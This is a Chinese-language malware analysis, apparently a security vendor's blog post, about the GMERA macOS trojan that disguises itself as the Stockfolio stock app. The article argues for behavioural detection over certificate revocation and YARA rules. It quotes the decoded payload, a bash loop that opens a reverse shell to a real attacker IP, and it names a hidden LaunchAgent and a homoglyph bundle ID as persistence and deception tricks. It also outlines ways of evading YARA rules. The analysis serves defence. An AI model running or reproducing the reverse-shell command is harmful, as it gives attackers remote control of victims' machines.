概述

上周，Trend Micro的研究人员在野外发现了一个新型的macOS恶意软件，该恶意软件会对真正的股票交易应用程序进行欺骗，开启后门，并运行恶意代码。在本文中，我们主要分析该恶意软件的工作原理，并以这一恶意软件为示例，讨论不同的检测和响应策略，特别重点说明在macOS上进行行为检测的原理和优势。

GMERA恶意软件概述

首先，让我们看一下这个新型macOS恶意软件的技术细节。

研究人员最初发现了两个变种，并将其识别为GMERA.A和GMERA.B。在本文中，我们将重点介绍GMERA.B样本中与检测和响应有关的关键环节。

我们所分析的样本哈希值是：d2eaeca25dd996e4f34984a0acdc4c2a1dfa3bacf2594802ad20150d52d23d68。

尽管这一哈希值已经上传至VirusTotal长达9天，并且TrendMicro在5天前就发表了相关研究的新闻，但截至目前，该样本仍然未被VirusTotal网站上的信誉引擎检测为病毒。

与GMERA.A变种一致，该恶意软件包含在名为“Stockfoli.app”的macOS应用程序bundle中。其名称是一个名为“Stockfolio.app”的合法应用的缩写，该恶意软件声称是合法应用的副本，并且放置在恶意的Stockfoli.app的“Resources”文件夹中。

Resources文件夹中的Stockfolio.app似乎是合法应用程序的非正式发布版本，但事实上，恶意软件作者已经使用他们编写的代码替换了原始开发人员的代码签名。在本文的下一章中，我们将重点分析代码签名。

在Resources文件夹中，最值得关注的就是恶意的run.sh脚本。

我们可以看到，在这个恶意软件示例中，脚本包含一些经过简单Base64编码后的内容，并且在解码后，该脚本会将内容作为隐藏的属性列表文件，写入~/Library/LaunchAgents文件夹中，其文件名是.com.apple.upd.plist。

在对Base64进行解码时，我们看到放置的属性列表文件本身包含更多Base64编码后的内容，位于其Program Arguments中。

我们对其进行了进一步的解码，得到了一个bash脚本，该脚本打开一个连接攻击者C2的反向Shell。

while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212.176/25733 0>&1'; done

代码休眠10000秒，然后退出并终止前面建立的任何连接。然后，使用屏幕实用程序以“分离”模式启动新的会话。如果连接在任何时刻断开，从本质上讲，这将导致攻击者可以恢复相同的会话。随后，该脚本调用Bash的交互模式，通过端口25733和上方显示的URL将会话重定向到攻击者的设备。Trend Micro的研究人员发现，在端口25733-25736上使用了反向Shell。我们针对该样本的主要二进制文件进行了逆向，结果表明还可以使用25737和25738这两个端口，其中后者没有使用bash，而是选择了zsh作为Shell。

在继续探究检测与响应之前，我们先关注一下此前研究中未说明的恶意软件的另外一个特征。在恶意Stockfoli.app的Info plist中，至少包含两个不同的bundle标识符（我们确信还会有更多）。它们分别是：

com.appIe.stockf.stocks

com.appIe.stockfolioses.Stockfoli

一眼看上去，就像是“com.apple”，但经过仔细检查（或修改其显示字体），发现“appIe”中的第4个字母实际上是大写的“I”。

com.appIe.stockf.stocks

com.appIe.stockfolioses.Stockfoli

我们将在后面讨论采取这种迷惑方式的原因。

撤销证书后就万无一失吗？

接下来，我们转向检测和响应。针对没有部署安全解决方案的Mac用户，大家可能很高兴听到，目前这些恶意样本已经无法在计算机中运行。其原因在于，Apple在发现后已经撤销了针对这些样本进行签名的代码签名。

尽管我们很欣慰地看到Apple抢先撤销了已知恶意软件的签名，但这并不是最为充分的防护方式。在最近一次研究过程中，一位macOS爱好者跟我说，Apple的举动向他证明了，Mac足以抵御恶意软件。针对这样的观点，我有着更为谨慎的回应：这种恶意软件在被发现并被撤销签名前已经存在了多长时间？有多少用户在恶意软件被公开披露前已经被感染？目前仍有多少未知的、经过有效签名的恶意软件样本？

不会经过太久，威胁行为者就会将恶意软件重新打包到一个具有新的签名的bundle中，此时的“游击战”又再次打响：攻击者创建并分发具有有效代码签名的恶意应用程序–>在野外经过一段时间后恶意软件被发现，Apple撤销该签名–>攻击者使用新的签名重新打包恶意软件，重新开始整个过程。

这样来说，如果仅仅依靠这种机制来保护计算机安全，一天、一个小时甚至是一分钟的时间差都有可能产生风险。实际上，这种机制本身就需要有人成为受害者，以便可以首先发现样本并撤销签名。那么如果我们不幸成为了早期的受害者之一，就会造成一系列损失。

对于攻击者来说，要获取有效的代码签名身份往往非常容易。如果恶意软件本身有利可图，那么攻击者会非常乐意支付99美元的订阅费（Apple开发人员），并与Apple打上一场游击战。并且，如果攻击者使用被盗的信用卡或其他付款方式进行支付，甚至他们都不需要花上这笔钱。

对于恶意软件来说，要使用新证书将新的应用程序bundle中的相同恶意脚本重新打包，是一项非常轻松的自动化任务。我们看到的商品广告软件和PUP播放器，几乎每天都在使用这样的技术。

那么，YARA规则呢？

实际上，Apple不仅可以撤销已经发现的恶意软件的证书，还有一些其他机制。正如在最近的WWDC 2019上，Apple一直在谈论“纵深防御”。具体而言，Apple拥有一套内置的工具，例如Gatekeeper、XProtect和MRT，以帮助阻止已知恶意软件和进行补救。随着Catalina版本即将推出，Apple还计划在其武器库中增加强制性公证机制。

这些工具依赖于不同策略的组合，从扩展文件属性、硬编码文件路径及哈希值，到指定二进制文件指定特征的Yara规则。尽管哈希值和文件路径通常仅针对于单个恶意软件变种，但Yara规则可以用于识别具有相似特征的恶意软件家族。以XProtect为例，我们可以在下面的位置找到：

/System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.yara

这个Yara规则指定了五组字符串，如果它们全部出现在文件大小小于200KB的Mach-O可执行文件中，那么XProtect会将其视为恶意软件家族MACOS.6175e25的成员，并阻止其运行。

接下来，我们转换这些十六进制字符串，以了解它们的实际含义：

需要明确的是，该规则与本文所讨论的GMERA恶意软件无关。在撰写本文时，XProtect和MRT.app均还没有进行更新以检测GMERA恶意软件。我们在本章的重点在于展示Yara在常规工作中的规则。上面显示的规则实际上是针对之前已经逆向的某些恶意软件。从恶意软件作者的角度来看，他们很容易了解XProtect的发展趋势，并借助这些知识来有针对性地进行对抗。

对于攻击者来说，对抗的难度也不是很大，工作量比Apple所做的要少得多。对于恶意软件作者来说，要避免被上述Yara规则检出，可以使用的一个简单技巧就是重命名方法（要逃避上述规则，只需要改动一个字母即可），或者使用类似于Base64这样的编码方式进行多次编码。实际上，有很多种方法可以进行细微的调整，从而破坏Yara的规则。同时，Apple（以及依赖相同技术的第三方安全厂商）必须等到这些变化出现后，才能对样本进行测试，并更新修改后的签名。长期以来，威胁行为者都在持续做出改进，而Apple和其他厂商不得不持续追赶，因为他们非常清楚，他们的更新签名将会在数小时内被弃用。

这场无法打赢的游击战有一个关键环节，就像是撤销证书一样，文件路径、哈希值和Yara规则都有一个致命的弱点——它们依赖于先前发现的样本。同样，这对于早期感染新型威胁的用户来说，无疑在某种程度上来说是不公平的。

通过检测可疑行为击败macOS恶意软件

幸运的是，还有另一种不依赖先验知识的方法，可以检测并阻止恶意软件。通常来说，恶意软件和威胁参与者的目标是有限的，并且是具体的。尽管实现细节可能千差万别，但实现这些目标所需的实际行为是有限的和可定义的。如果我们使用行为检测引擎，就会让实现细节变为完全不相关的因素。

在现代科学社会，我们已经不再通过查看大脑的连接方式，或者测量头骨的形状大小来发现犯罪分子，而是通过评估他们违反法律法规的可能性来进行评估。针对未知软件、脚本和进程，实际上我们也可以这么做。

不论其内部连接如何，恶意软件（类比于犯罪分子）一定会进行某些不良行为。通过在进程生命周期中跟踪各个事件并对其进行情境化，我们就可以将图片或“故事”组合成以下内容：

“总体来说，这些事件构成了不良行为，我们应该对其进行警告或阻止。”

如果不再依赖于诸如字符串、哈希值和路径之类的静态特征，而是专注于动态行为，那么即使以前我们没有发现过特定的实现，也可以识别恶意软件。

上述也正是当前行为和AI引擎背后的基础原理，尽管我们无法深入了解一些行为检测产品时如何完成这一过程的，但可以借助对GMERA恶意软件的分析来了解行为检测的原理。

如我们所见，macOS.GMERA恶意软件将一个持久性代理写入~/Library/LaunchAgents。如果我们在macOS上手动搜索威胁，那么新写入的LaunchAgent将引起我们的警惕，对于自动化响应也是如此。我们还看到，对于GMERA恶意软件，父进程删除了一个持久性代理，该持久性代理通过在文件名前加上句点（.）来使其在Finder中不可见。

上述动作会让我们加深对其的怀疑，这种行为不仅对于合法软件来说是不寻常的，并且它并没有一个合理的目的。允许进程写入不可见文件的主要原因，是为了隐藏用户不会接触到的临时数据和元数据。尽管可能还有其他一些合法的应用场景（例如DRM许可等），但在这里，没有任何理由要让用户在Finder中看不到真正的持久性代理。

还有一点，这个LaunchAgent的行为本身是异常的。它不是在特定路径上执行文件，而是解码Base64混淆后的脚本并在内存中执行。尽管毫无疑问，我们可以想象这是一种临界的合理情况，但在典型的企业环境中，这种行为几乎可以肯定是与欺骗相关。

最后，如上文所述，父应用程序使用了一个显然是误导的bundle标识符。

这是一种欺骗手段，指在欺骗未仔细观察的用户，这些用户可能会直接忽略合法的进程。这样的策略还可能会欺骗一些简单的安全解决方案，这些安全解决方案往往会检查带有“com.apple”bundle标识符的进程是否实际上已经使用Apple的签名进行签署。用大写的“I”来替代Apple中的“l”可以巧妙地避开这种启发式方法。

如果要编写检测引擎，可以考虑同形异义词攻击和URL域名欺骗这两个维度，它们是两种经过检验且值得信赖的技术，但同样非常容易被普通用户忽略。但是，文件叫什么不重要，它做了什么才是重中之重。隐藏的持久性机制会在内存中打开反向Shell，并且这个Shell被没有明显功能关系的应用程序投放。还有什么能比这样的行为更可疑呢？

通过行为检测发现GMERA恶意软件

在本篇文章中，我们讲述了很多理论情况，但在具体实践中能行得通吗？尽管GMERA恶意软件应用程序bundle本身一旦被吊销证书后将无法运行（除非删除代码签名或使用ad hoc证书重新签署），但仍然可以执行恶意的run.sh。脚本捆绑在应用程序的Resources文件夹中，不会受到Apple内置安全工具的检测。这意味着，我们仍然可以测试该恶意软件的大部分行为。当然，这也同时意味着攻击者可以手动执行此操作，另外一个恶意程序也可能会发现Stockfoli.app bundle并在随后的感染中利用它。

我们以SentinelOne行为引擎为例，具体看看如何响应run.sh脚本的执行。一旦执行脚本，就会在Agent端进行检测。

我们可以在管理控制台端，看到更多详细信息：

请关注下列MITER ATT&CK TTP：

1. 进程投放一个隐藏的可疑plist以实现持久性（T1150）；

2. 进程编写了一个隐藏文件以实现持久性（T1158）；

3. 进程通过启动作业（Launchd Job）实现持久性）T1160。

当我们在测试环境中设置了“检测”策略，而不是“阻止”策略时，我们可以更好地分析恶意软件的行为，当然也会允许脚本继续执行。下图列出了进程的结构和完整击杀链（Kill Chain）。

当然，在实际部署中，我们完全可以将策略设置为“阻止”。出于研究目的，“仅检测”策略可以用于分析恶意软件的行为，并获取有关于攻击者TTP的更多信息。

总结

我们对近期发现的GMERA恶意软件进行分析，在工具、策略和程序（TTP）方面没有发现任何新变化。攻击者利用了一种传统、易于构建的方式来进行攻击和持久化，具体包括一个伪造的应用程序、一个用于持久化的启动代理和一个简单地基于bash或zsh的反向Shell，最终导致受害者遭受漏洞利用，产生数据泄露，甚至进一步被攻击。然而，包括Apple内置机制在内的众多解决方案都未能在执行前或执行过程中检测到此类威胁，而是依靠发现后的软件更新来为用户提供保护。

我们推荐的解决方案是行为和AI引擎，能够提供真正的深度防御，是当前保证领先于攻击者并保护Mac用户免受新型威胁攻击的唯一方法。恶意软件作者可以更新恶意软件的内容，但只要这些软件继续表现出可疑行为，我们就可以继续将其根除。